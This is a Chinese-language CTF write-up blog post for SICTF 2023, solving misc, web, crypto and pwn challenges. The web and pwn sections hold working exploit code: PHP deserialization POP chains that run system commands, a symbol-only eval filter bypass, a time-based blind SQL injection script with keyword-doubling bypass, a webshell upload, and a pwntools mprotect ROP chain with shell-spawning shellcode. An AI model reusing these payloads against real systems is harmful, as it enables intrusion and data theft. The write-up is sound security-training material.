SICTF 2023 | 风尘孤狼
0%

SICTF 2023

SICTF 2023

前言

队友很给力,第九,web这次AK了,也学到了很多,整挺好

image-20230119173040742

Misc

签到打卡完成

听说,这个签到题扫码关注公众号回复一个特定的“Key”就可以拿到Flag,出题人把Key也藏在题目中了。

二维码扫码关注公众号,发送SICTF得到flag

SICTF{fb23cefd-487f-42dd-a343-2a06194efc60}

Hacker

树木是个大黑客,经过调查,在一次玩靶场的过程中,喜欢兔子的他把flag藏在了根目录的tmp目录下,我们截取了他回头查看flag时的流量,你能找到他藏起来的flag并进行解密吗?

流量分析

image-20230116135328834

最后这个数据base64解密【这地方有个坑就是前面的数字要删掉要不然解码的时候就是乱码】

aa8aVTJGc2RHVmtYMTliRU4zRDh2RmVHMzlWeVlYUHdsZTJtTVFMaDVUMUhZaVNJMVhDeDdySmhzRG5wOXFMcFVRQg0KeUlUZDA1VXUwNVpBdjBvPWUyNjRjNTViZQovdG1wCmE3ZWIzZGY4NzRlCg==ab05b5
iU2FsdGVkX19bEN3D8vFeG39VyYXPwle2mMQLh5T1HYiSI1XCx7rJhsDnp9qLpUQB
yITd05Uu05ZAv0o=e264c55be
/tmp
a7eb3df874e
U2FsdGVkX19bEN3D8vFeG39VyYXPwle2mMQLh5T1HYiSI1XCx7rJhsDnp9qLpUQB
yITd05Uu05ZAv0o=e264c55be//这个就是rabbit加密特征,找密码

image-20230116135557179

image-20230116135603259

得到密码是Gui_1s_shumu

解密得到flag

SICTF{50da673c-3b59-4a6f-81da-79cba7eb63b1}

color

这些毫无规律的颜色中隐藏着怎样的小世界呢?

题目附件

image-20230118162535354

丢stegsolve里改变通道,反复在Random colour map 2与Random colour map 3之间调动,直至出现如下图所示能够清楚显示二维码的图像

image-20230118162826846

保存之后继续拖进去改

image-20230118162938899

扫码得到flag

SICTF{448e8531-c752-4847-ae7e-0e702a8fb915}

geek_challenge

image-20230118163218227

就是算术题,写个交互一直算就行了

这里科普一下之前没了解过eval函数功能原来如此强大,它可以执行一切返回表达式并计算出结果

官方解释为:将字符串str当成有效的表达式来求值并返回计算结果

eval(‘pow(2,2)’)
4
eval(‘2 + 2’)
4
eval(“n + 4”)
85

exp如下

from pwn import *
context.log_level = "debug"
io = remote('ctf.qsnctf.com',10995)
while True:
    res = io.recvline()
    if b' = ?' in res:
        a = res[:-5]
        b = str(eval(a))
        io.sendline(b)

image-20230118164213360

SICTF{dbe40b4a-1102-4226-a1d3-a64c9819904f}

hacker2

题目描述:树木不小心把重要的信息放在了自己的shell当中,或许对你的解密会有帮助

大黑客树木再次上传了shell并用工具进行连接,他在上传目录的一堆测试txt中找到了重要的字符串,我们观察并截取了流量
你能告诉我们他上传的shell的名称和key值以及最终找到的重要字符串吗?
flag格式:SICTF{shell名称_密钥_文本文件中存储的字符串}

打开pcapng文件,过滤http流

image-20230118165219035

找到shell名称:she1l

追踪tcp流查看

image-20230118165239512

得到密钥7d7c23e87b47368b

流量具有冰蝎流量特征,继续寻找AES

image-20230118165304958

解密AES

image-20230118165316945

image-20230118165325873

这里查看了当前目录所有文件,再往下看

image-20230118165349911

image-20230118165355425

flag:SICTF{she1l_7d7c23e87b47368b_c0rRect!!!}

Web

兔年大吉

题目源码如下

<?php
highlight_file(__FILE__);
error_reporting(0);

class Happy{
    private $cmd;
    private $content;

    public function __construct($cmd, $content)
    {
        $this->cmd = $cmd;
        $this->content = $content;
    }

    public function __call($name, $arguments)
    {
        call_user_func($this->cmd, $this->content);
    }

    public function __wakeup()
    {
        die("Wishes can be fulfilled");
    }
}

class Nevv{
    private $happiness;

    public function __invoke()
    {
        return $this->happiness->check();
    }

}

class Rabbit{
    private $aspiration;
    public function __set($name,$val){
        return $this->aspiration->family;
    }
}

class Year{
    public $key;
    public $rabbit;

    public function __construct($key)
    {
        $this->key = $key;
    }

    public function firecrackers()
    {
        return $this->rabbit->wish = "allkill QAQ";
    }

    public function __get($name)
    {
        $name = $this->rabbit;
        $name();
    }

    public function __destruct()
    {
        if ($this->key == "happy new year") {
            $this->firecrackers();
        }else{
            print("Welcome 2023!!!!!");
        }
    }
}

if (isset($_GET['pop'])) {
    $a = unserialize($_GET['pop']);
}else {
    echo "过新年啊~过个吉祥年~";
}
?> 过新年啊~过个吉祥年~

pop反序列化,exp如下

<?php
class Happy{
    private $cmd="system";
    private $content="tac /f*";


}

class Nevv{
    private $happiness;
    public function __construct($happiness)
    {
        $this->happiness = $happiness;
    }

}

class Rabbit{
    private $aspiration;
    public function __construct($aspiration)
    {
        $this->aspiration = $aspiration;
    }

}

class Year{
    public $key= "happy new year";
    public $rabbit;
}


$year = new Year;
$year1 = new Year;
$happy = new Happy;
$rabbit = new Rabbit($year1);
$year->rabbit = $rabbit;
$nevv = new Nevv($happy);
$year1->rabbit = $nevv;
echo urlencode(serialize($year));

pop=O%3A4%3A%22Year%22%3A2%3A%7Bs%3A3%3A%22key%22%3Bs%3A14%3A%22happy+new+year%22%3Bs%3A6%3A%22rabbit%22%3BO%3A6%3A%22Rabbit%22%3A1%3A%7Bs%3A18%3A%22%00Rabbit%00aspiration%22%3BO%3A4%3A%22Year%22%3A2%3A%7Bs%3A3%3A%22key%22%3Bs%3A14%3A%22happy+new+year%22%3Bs%3A6%3A%22rabbit%22%3BO%3A4%3A%22Nevv%22%3A1%3A%7Bs%3A15%3A%22%00Nevv%00happiness%22%3BO%3A5%3A%22Happy%22%3A2%3A%7Bs%3A10%3A%22%00Happy%00cmd%22%3Bs%3A6%3A%22system%22%3Bs%3A14%3A%22%00Happy%00content%22%3Bs%3A7%3A%22tac+%2Ff%2A%22%3B%7D%7D%7D%7D%7D

image-20230116180546891

SICTF{a4efe7e9-ce2a-4d4e-8d16-1a3a88087468}

ezbypass

源码如下

<?php
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['code'])) {
    $code = $_POST['code'];
    if (strlen($code) <= 105){
        if (is_string($code)) {
            if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$code)){
                eval($code);
            } else {
                echo "Hacked!";
            }
        } else {
            echo "You need to pass in a string";
        }
    } else {
            echo "long?";
    }
}

自增构造exp

code=$_=(_/_._)[_];$_%2B%2B;$%FA=$_.$_%2B%2B;$_%2B%2B;$_%2B%2B;$_=_.$%FA.%2B%2B$_.%2B%2B$_;$$_[_]($$_[%FA]);&_=system&%FA=cat /flag

image-20230119172113180

SICTF{1c4fe9ba-0a25-42cf-9e92-670ea5574109}

ezupload

文件上传题目,源码如下

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</head>
<form enctype="multipart/form-data" method="post">
    <p>骇人过滤,其实没用x<p>
        <input class="input_file" type="file" name="upload_file"/>
        <input class="button" type="submit" name="submit" value="上传"/>
</form>
</html>


<?php
@error_reporting(0);
date_default_timezone_set('America/Los_Angeles');
highlight_file(__FILE__);
if (isset($_POST['submit'])){
    $file_name = trim($_FILES['upload_file']['name']);
    $black = array(".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
    $file_ext = strrchr($file_name, '.');
    $file_ext = strtolower($file_ext);

    if (!in_array($file_ext, $black)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = 'upload'.'/'.date("His").rand(114,514).$file_ext;

        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    }else {
        $msg = '你传啥玩意??';
    }
}
if($is_upload){
    echo '呀,(传)进去了欸~';
}
?>

其实就是可以直接上传php文件,只不过他会根据上传时间进行重命名,一个比较简单的方法就是本地搭建题目并上传文件然后根据两次上传文件确定文件名区间,然后进行爆破即可

image-20230117183925092

所以只需要爆破这之间的文件名即可找到文件

QQ图片20230117184015

访问得到flag

QQ图片20230117184226

SICTF{a5e4cf4c-d079-4183-a73e-0ad9a3177ef8}

SSTI

image-20230118185912667

考察ssti,简单fuzz发现几乎魔术方法都被过滤了

其次就是括号也被过滤了

用print可以直接输出执行结果

image-20230118190247928

刚开始不知道其实只是过滤的小写,用的引号拼接,后面几个发现是可以用大小写来进行绕过的

image-20230118190223793

SICTF{66f402ab-6069-4d8c-99c9-0ff147095f7c}

ezphp

image-20230119140822711

登录框多半就是sql注入

image-20230119140846121

直接输入admin的话是不行的,被过滤了

image-20230119140905136

image-20230119140954841

fuzz发现select,union这样的都被过滤了,双写可以绕过去,执行发现存在时间盲注

image-20230119165550694

同时需要去使用引号进行闭合,防止sql语句报错

明确了之后写个脚本直接跑就行了

脚本如下

import requests
import time
import datetime

url = "http://ea9c3e41-d118-4851-9146-dfe0c28eb468.ctf.qsnctf.com:8080/login.php"

def get_dbname():
    db_name = ''
    for i in range(1,9):
        for k in range(32,127):
            database_payload = {"user":"'/**/or/**/if(ascii(substr(database(),%d,1))/**/regexp/**/%d,sleep(2),1)#'"%(i,k),"pass":"guli","submit":"login"}
            time1 = datetime.datetime.now()
            res = requests.post(url,database_payload)
            time2 = datetime.datetime.now()
            difference = (time2-time1).seconds
            #print(difference)
            if difference > 1:
                db_name += chr(k)
                print(db_name)
            #else:
                #print("next")

def get_table():
    table1 = ''
    table2 = ''
    table3 = ''
    table4 = ''
    for i in range(5):
        for j in range(6):
            for k in range(32,127):
                table_payload = {"user":"'/**/or/**/if(ascii(substr((seselectlect/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema/**/regexp/**/'ctf_db'/**/limit/**/%d,1),%d,1))/**/regexp/**/%d,sleep(2),1)#'"%(i,j,k),"pass":"1","submit":"login"}
                time1 = datetime.datetime.now()
                res = requests.post(url,table_payload)
                time2 = datetime.datetime.now()
                difference = (time2-time1).seconds
                #print(difference)
                if difference > 1:
                    if i == 0:
                        table1 += chr(k)
                        print(table1)
                    if i == 1:
                        table2 += chr(k)
                        print(table2)
                    if i == 2:
                        table3 += chr(k)
                        print(table3)
                    if i == 3:
                        table4 += chr(k)
                        print(table4)
                    else:
                        continue


def get_column():
    column1 = ''
    column2 = ''
    column3 = ''
    column4 = ''
    for i in range(30):
        for j in range(30):
            for k in range(32,127):
                column_payload = {"user":"'/**/or/**/if(ascii(substr((seselectlect/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name/**/regexp/**/'flag'/**/limit/**/%d,1),%d,1))/**/regexp/**/%d,sleep(2),1)#'"%(i,j,k),"pass":"1","submit":"login"}
                time1 = datetime.datetime.now()
                res = requests.post(url,column_payload)
                time2 = datetime.datetime.now()
                difference = (time2-time1).seconds
                if difference > 1:
                    if i == 0:
                        column1 += chr(k)
                        print(column1)
                    if i == 1:
                        column2 += chr(k)
                        print(column2)
                    if i == 2:
                        column3 += chr(k)
                        print(column3)
                    if i == 3:
                        column4 += chr(k)
                        print(column4)
                    if i == 4:
                        column4 += chr(k)
                        print(column4)
                    else:
                        continue
                    print("结束")


def get_flag():
    flag = ''
    for i in range(30):
        for k in range(32,127):
            flag_payload = {"user":"'/**/or/**/if(ascii(substr((seselectlect/**/password/**/from/**/admin),%d,1))/**/regexp/**/%d,sleep(2),1)#'"%(i,k),"pass":"1","submit":"login"}
            time1 = datetime.datetime.now()
            res = requests.post(url,flag_payload)
            time2 = datetime.datetime.now()
            difference = (time2-time1).seconds
            if difference > 1:
                flag += chr(k)
                print(flag)
            else:
                continue


get_dbname()
get_table()
get_column()
get_flag()

这里应该是有个陷阱就是能跑出来个字段是FLAG_COLUMN,但是跑不出来啥,结合上面看到的那个执行的sql语句可以猜测就是passowrd字段,然后爆内容得到密码0909876qwe222

image-20230119170010288

然后登录,发现是测试url,随便输一下

image-20230119170119210

得到源码

image-20230119170146252

一眼顶针,file_get_contents直接用伪协议读取,以及那个提示文件//x9sd.php

image-20230119170246703

解码得到源码

<?php

class a {
    protected $cmd;
    function __destruct()
    {       echo $this->cmd;
       @eval($this->cmd);
        
    }
}

if(isset($_GET['username']) && isset($_GET['unserx'])){
   $var = base64_decode($_GET['unserx']);
          
    if($_GET['username'] === "admin"){
        echo "nonono?";
    }
    $username = urldecode($_GET['username']);
    if($username === "admin"){
        unserialize($var);
    }
    unserialize($var);
    echo("success");
}else{
    echo "I need some ???";
}

一眼顶针,执行命令就行,简单绕一下根据规则进行构造

exp如下

<?php

class a {
    protected $cmd="system('cat /flag');";
    function __destruct()
    {   echo $this->cmd;
        echo @eval($this->cmd);

    }
}
$guli=new a();
echo base64_encode(serialize($guli));
//TzoxOiJhIjoxOntzOjY6IgAqAGNtZCI7czoyMDoic3lzdGVtKCdjYXQgL2ZsYWcnKTsiO30=system('cat /flag');

image-20230119170416052

得到flag SICTF{be48b967-59fe-4e8a-8604-b05d3982198a}

CRYPTO

Ascii

题目如下

from flag import flag
import base64
flag=str(base64.b32encode(base64.b64encode(flag)))
for i in flag:
    print(chr(ord(i)^3),end='')
#a$HVZDZQ@TJUMGLVHZIYUF1U0NNYDURWWDNM6FFYP1OA[TRPHWJZ7R>>>>$

就是简单加密,先是异或然后base64加密再base32加密

解密脚本逆一下就行了

import base64
m = 'a$HVZDZQ@TJUMGLVHZIYUF1U0NNYDURWWDNM6FFYP1OA[TRPHWJZ7R>>>>$'
flag = ''
for i in m:
    flag += chr(ord(i) ^ 3)
flag = flag[2:-1]
print(base64.b64decode(base64.b32decode(flag)))

b’SICTF{Asc1i_1s_s0_ez!!!}’

PWN

C@na2y

EXP如下

from pwn import *
context(log_level='debug',os='linux',arch='i386')
p = remote('ctf.qsnctf.com', 10783)
#p = process('./ppp')

pop=0x08049b9b
ret=0x08061f4b
read_addr=0x806CD20
mprotect_addr=0x806DC10
bss_addr=0x80db000
win=0x80488DE
ex=0x0804EE60
write_addr=0x806CDF0
p.recvuntil("Do you really know Canary?\n")
payload=b'a'*(0x18+4)+p32(mprotect_addr)+p32(ret)+p32(bss_addr) + p32(0x1000)+p32(0x7)+p32(read_addr)+p32(ret)+p32(0)+p32(bss_addr)+p32(0x1000)+p32(bss_addr)
#gdb.attach(p)
#pause()
p.sendline(payload) 
shellcode=asm(shellcraft.sh(),arch='i386',os='linux')  #生成shellcode
p.sendline(shellcode)

p.interactive()

image-20230116205237021

SICTF{eb14559a-b6b5-459c-9b92-ae7ab3493398}

制作不易,如若感觉写的不错,欢迎打赏